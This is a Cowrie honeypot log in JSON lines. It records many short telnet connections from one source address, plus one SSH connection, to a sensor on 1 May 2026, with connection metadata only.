{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39162,"dst_ip":"159.203.135.109","dst_port":23,"session":"9826b45b4b26","protocol":"telnet","message":"New connection: 69.6.196.124:39162 (159.203.135.109:23) [session: 9826b45b4b26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:09.929088Z"}
{"eventid":"cowrie.session.closed","duration":31.46135449409485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:09.937376Z","src_ip":"69.6.196.124","session":"356d2b459526","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39166,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bdb036eeae6","protocol":"telnet","message":"New connection: 69.6.196.124:39166 (159.203.135.109:23) [session: 2bdb036eeae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:10.189467Z"}
{"eventid":"cowrie.session.closed","duration":30.451046466827393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:10.268581Z","src_ip":"69.6.196.124","session":"9b60a1e2fa50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70232653617859,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:10.309237Z","src_ip":"69.6.196.124","session":"054a12669f7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7792809009552,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:10.313879Z","src_ip":"69.6.196.124","session":"11dfb75022bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39182,"dst_ip":"159.203.135.109","dst_port":23,"session":"a48fdd05d538","protocol":"telnet","message":"New connection: 69.6.196.124:39182 (159.203.135.109:23) [session: a48fdd05d538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:10.353584Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39194,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbcad56b0ebd","protocol":"telnet","message":"New connection: 69.6.196.124:39194 (159.203.135.109:23) [session: fbcad56b0ebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:10.563046Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39208,"dst_ip":"159.203.135.109","dst_port":23,"session":"404647633bcd","protocol":"telnet","message":"New connection: 69.6.196.124:39208 (159.203.135.109:23) [session: 404647633bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:10.718170Z"}
{"eventid":"cowrie.session.closed","duration":31.04145860671997,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:10.738249Z","src_ip":"69.6.196.124","session":"a538c5ce6098","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12284803390503,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:10.835784Z","src_ip":"69.6.196.124","session":"16850fe0f8ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39214,"dst_ip":"159.203.135.109","dst_port":23,"session":"c566e3685f64","protocol":"telnet","message":"New connection: 69.6.196.124:39214 (159.203.135.109:23) [session: c566e3685f64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:10.903961Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39234,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3c432c1008a","protocol":"telnet","message":"New connection: 69.6.196.124:39234 (159.203.135.109:23) [session: a3c432c1008a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:11.237919Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39250,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac0136d7047b","protocol":"telnet","message":"New connection: 69.6.196.124:39250 (159.203.135.109:23) [session: ac0136d7047b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:11.279557Z"}
{"eventid":"cowrie.session.closed","duration":30.53962206840515,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:11.286680Z","src_ip":"69.6.196.124","session":"d3f9a3ee748f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.37.34","src_port":58468,"dst_ip":"10.17.0.5","dst_port":22,"session":"fabe3fb623cd","protocol":"ssh","message":"New connection: 14.103.37.34:58468 (10.17.0.5:22) [session: fabe3fb623cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:11.475684Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39256,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9ac84aa7940","protocol":"telnet","message":"New connection: 69.6.196.124:39256 (159.203.135.109:23) [session: e9ac84aa7940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:11.613023Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39276,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbb166723f3f","protocol":"telnet","message":"New connection: 69.6.196.124:39276 (159.203.135.109:23) [session: bbb166723f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:11.840674Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39286,"dst_ip":"159.203.135.109","dst_port":23,"session":"b49d4ce835ae","protocol":"telnet","message":"New connection: 69.6.196.124:39286 (159.203.135.109:23) [session: b49d4ce835ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:11.906546Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39292,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c0934aab410","protocol":"telnet","message":"New connection: 69.6.196.124:39292 (159.203.135.109:23) [session: 7c0934aab410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:11.978750Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39220,"dst_ip":"159.203.135.109","dst_port":23,"session":"51f1a7a8b526","protocol":"telnet","message":"New connection: 69.6.196.124:39220 (159.203.135.109:23) [session: 51f1a7a8b526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:12.076195Z"}
{"eventid":"cowrie.session.closed","duration":30.940995454788208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:12.278698Z","src_ip":"69.6.196.124","session":"4f314c05681d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.919317722320557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:12.361894Z","src_ip":"69.6.196.124","session":"df86377fbdbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23146390914917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:12.385951Z","src_ip":"69.6.196.124","session":"aea6ebcc0963","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.81264352798462,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:12.835067Z","src_ip":"69.6.196.124","session":"bd0f660c116b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39272,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1ba247f6d5e","protocol":"telnet","message":"New connection: 69.6.196.124:39272 (159.203.135.109:23) [session: c1ba247f6d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:12.843836Z"}
{"eventid":"cowrie.session.closed","duration":31.025957822799683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:12.878613Z","src_ip":"69.6.196.124","session":"a4ce76de8387","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39294,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b1d7db852fd","protocol":"telnet","message":"New connection: 69.6.196.124:39294 (159.203.135.109:23) [session: 9b1d7db852fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:12.929300Z"}
{"eventid":"cowrie.session.closed","duration":31.449992656707764,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:13.124628Z","src_ip":"69.6.196.124","session":"b8b67241b215","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39316,"dst_ip":"159.203.135.109","dst_port":23,"session":"af28ec6e3400","protocol":"telnet","message":"New connection: 69.6.196.124:39316 (159.203.135.109:23) [session: af28ec6e3400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:13.186064Z"}
{"eventid":"cowrie.session.closed","duration":31.037243843078613,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:13.483406Z","src_ip":"69.6.196.124","session":"e89a6df7c937","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.922711610794067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:13.564644Z","src_ip":"69.6.196.124","session":"71324248a6d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39304,"dst_ip":"159.203.135.109","dst_port":23,"session":"24211765bedd","protocol":"telnet","message":"New connection: 69.6.196.124:39304 (159.203.135.109:23) [session: 24211765bedd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:14.122278Z"}
{"eventid":"cowrie.session.closed","duration":31.173789739608765,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:14.155836Z","src_ip":"69.6.196.124","session":"1d36d4132cb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39322,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f347cd91d62","protocol":"telnet","message":"New connection: 69.6.196.124:39322 (159.203.135.109:23) [session: 3f347cd91d62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:14.252388Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39346,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0e1bba6209b","protocol":"telnet","message":"New connection: 69.6.196.124:39346 (159.203.135.109:23) [session: a0e1bba6209b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:14.430788Z"}
{"eventid":"cowrie.session.closed","duration":31.12727403640747,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:14.746463Z","src_ip":"69.6.196.124","session":"37a82abd34ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28447961807251,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:14.772083Z","src_ip":"69.6.196.124","session":"9bfe7ed134e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.213600397109985,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:14.966179Z","src_ip":"69.6.196.124","session":"1640286c93be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.784695625305176,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:15.123474Z","src_ip":"69.6.196.124","session":"9f7371c4e563","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39332,"dst_ip":"159.203.135.109","dst_port":23,"session":"960608ef2fb4","protocol":"telnet","message":"New connection: 69.6.196.124:39332 (159.203.135.109:23) [session: 960608ef2fb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:15.210266Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39352,"dst_ip":"159.203.135.109","dst_port":23,"session":"a16857520059","protocol":"telnet","message":"New connection: 69.6.196.124:39352 (159.203.135.109:23) [session: a16857520059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:15.243802Z"}
{"eventid":"cowrie.session.closed","duration":31.95543909072876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:15.250518Z","src_ip":"69.6.196.124","session":"be44157e482b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.196743965148926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:15.316332Z","src_ip":"69.6.196.124","session":"c0b0036870a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.563436031341553,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:15.378329Z","src_ip":"69.6.196.124","session":"84371dc436f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39366,"dst_ip":"159.203.135.109","dst_port":23,"session":"6dc371c341c1","protocol":"telnet","message":"New connection: 69.6.196.124:39366 (159.203.135.109:23) [session: 6dc371c341c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:15.483606Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39378,"dst_ip":"159.203.135.109","dst_port":23,"session":"2de54e01efd5","protocol":"telnet","message":"New connection: 69.6.196.124:39378 (159.203.135.109:23) [session: 2de54e01efd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:15.573733Z"}
{"eventid":"cowrie.session.closed","duration":30.495782136917114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:15.626626Z","src_ip":"69.6.196.124","session":"a40c343ae0b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.811394453048706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:15.749357Z","src_ip":"69.6.196.124","session":"ede664c8a50a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39380,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e1690a2a498","protocol":"telnet","message":"New connection: 69.6.196.124:39380 (159.203.135.109:23) [session: 1e1690a2a498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:15.965405Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39382,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e4bf58cf8f8","protocol":"telnet","message":"New connection: 69.6.196.124:39382 (159.203.135.109:23) [session: 7e4bf58cf8f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:16.095208Z"}
{"eventid":"cowrie.session.closed","duration":30.522767066955566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:16.279600Z","src_ip":"69.6.196.124","session":"d62ba91c46b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77298927307129,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:16.288548Z","src_ip":"69.6.196.124","session":"8689c4c00ac6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.694385528564453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:16.292493Z","src_ip":"69.6.196.124","session":"b6327ccd85a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11497187614441,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:16.343608Z","src_ip":"69.6.196.124","session":"43b3a8aece87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39396,"dst_ip":"159.203.135.109","dst_port":23,"session":"4117b830e133","protocol":"telnet","message":"New connection: 69.6.196.124:39396 (159.203.135.109:23) [session: 4117b830e133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:16.408476Z"}
{"eventid":"cowrie.session.closed","duration":30.604220151901245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:16.413376Z","src_ip":"69.6.196.124","session":"c817eff05482","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.124922275543213,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:16.758746Z","src_ip":"69.6.196.124","session":"a87c64410247","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12173295021057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:16.764292Z","src_ip":"69.6.196.124","session":"5aad8b4c13ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39398,"dst_ip":"159.203.135.109","dst_port":23,"session":"e74a819b3c88","protocol":"telnet","message":"New connection: 69.6.196.124:39398 (159.203.135.109:23) [session: e74a819b3c88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:17.214491Z"}
{"eventid":"cowrie.session.closed","duration":30.54878044128418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:17.438593Z","src_ip":"69.6.196.124","session":"6594a88ffb55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39424,"dst_ip":"159.203.135.109","dst_port":23,"session":"84575cc0945d","protocol":"telnet","message":"New connection: 69.6.196.124:39424 (159.203.135.109:23) [session: 84575cc0945d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:17.596061Z"}
{"eventid":"cowrie.session.closed","duration":30.4576473236084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:17.627201Z","src_ip":"69.6.196.124","session":"3e85f961537c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.566731691360474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:17.664057Z","src_ip":"69.6.196.124","session":"e5fe99789bbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.590543508529663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:17.768618Z","src_ip":"69.6.196.124","session":"e49fb44c22e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39426,"dst_ip":"159.203.135.109","dst_port":23,"session":"4486cf0b9ad0","protocol":"telnet","message":"New connection: 69.6.196.124:39426 (159.203.135.109:23) [session: 4486cf0b9ad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:17.804625Z"}
{"eventid":"cowrie.session.closed","duration":31.577590703964233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:17.961142Z","src_ip":"69.6.196.124","session":"3fe2a6007d5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39434,"dst_ip":"159.203.135.109","dst_port":23,"session":"362fe318bb18","protocol":"telnet","message":"New connection: 69.6.196.124:39434 (159.203.135.109:23) [session: 362fe318bb18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:18.056957Z"}
{"eventid":"cowrie.session.closed","duration":30.29313611984253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:18.424053Z","src_ip":"69.6.196.124","session":"266ab1e5f862","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39446,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb8621be1584","protocol":"telnet","message":"New connection: 69.6.196.124:39446 (159.203.135.109:23) [session: eb8621be1584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:18.489891Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39448,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bac1f5de5b5","protocol":"telnet","message":"New connection: 69.6.196.124:39448 (159.203.135.109:23) [session: 6bac1f5de5b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:18.744750Z"}
{"eventid":"cowrie.session.closed","duration":30.340704917907715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:19.333413Z","src_ip":"69.6.196.124","session":"358e954bc760","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.413437366485596,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:19.342143Z","src_ip":"69.6.196.124","session":"7a3e77701c71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.426883935928345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:19.364584Z","src_ip":"69.6.196.124","session":"af5f9a824adc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.407554626464844,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:19.380716Z","src_ip":"69.6.196.124","session":"6a38bbd45301","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.43790125846863,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:19.385579Z","src_ip":"69.6.196.124","session":"a90779e5d560","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39470,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d283b3229fd","protocol":"telnet","message":"New connection: 69.6.196.124:39470 (159.203.135.109:23) [session: 1d283b3229fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:19.467560Z"}
{"eventid":"cowrie.session.closed","duration":31.12055253982544,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:19.898046Z","src_ip":"69.6.196.124","session":"3acee0d476f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.125861644744873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:20.020951Z","src_ip":"69.6.196.124","session":"c177abbfd7b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32230830192566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:20.038610Z","src_ip":"69.6.196.124","session":"c7efb48af0e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39468,"dst_ip":"159.203.135.109","dst_port":23,"session":"9892f33a03fc","protocol":"telnet","message":"New connection: 69.6.196.124:39468 (159.203.135.109:23) [session: 9892f33a03fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:20.298742Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51760,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f31ab3b2210","protocol":"telnet","message":"New connection: 69.6.196.124:51760 (159.203.135.109:23) [session: 4f31ab3b2210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:20.450092Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39408,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce70544c3baa","protocol":"telnet","message":"New connection: 69.6.196.124:39408 (159.203.135.109:23) [session: ce70544c3baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:20.554136Z"}
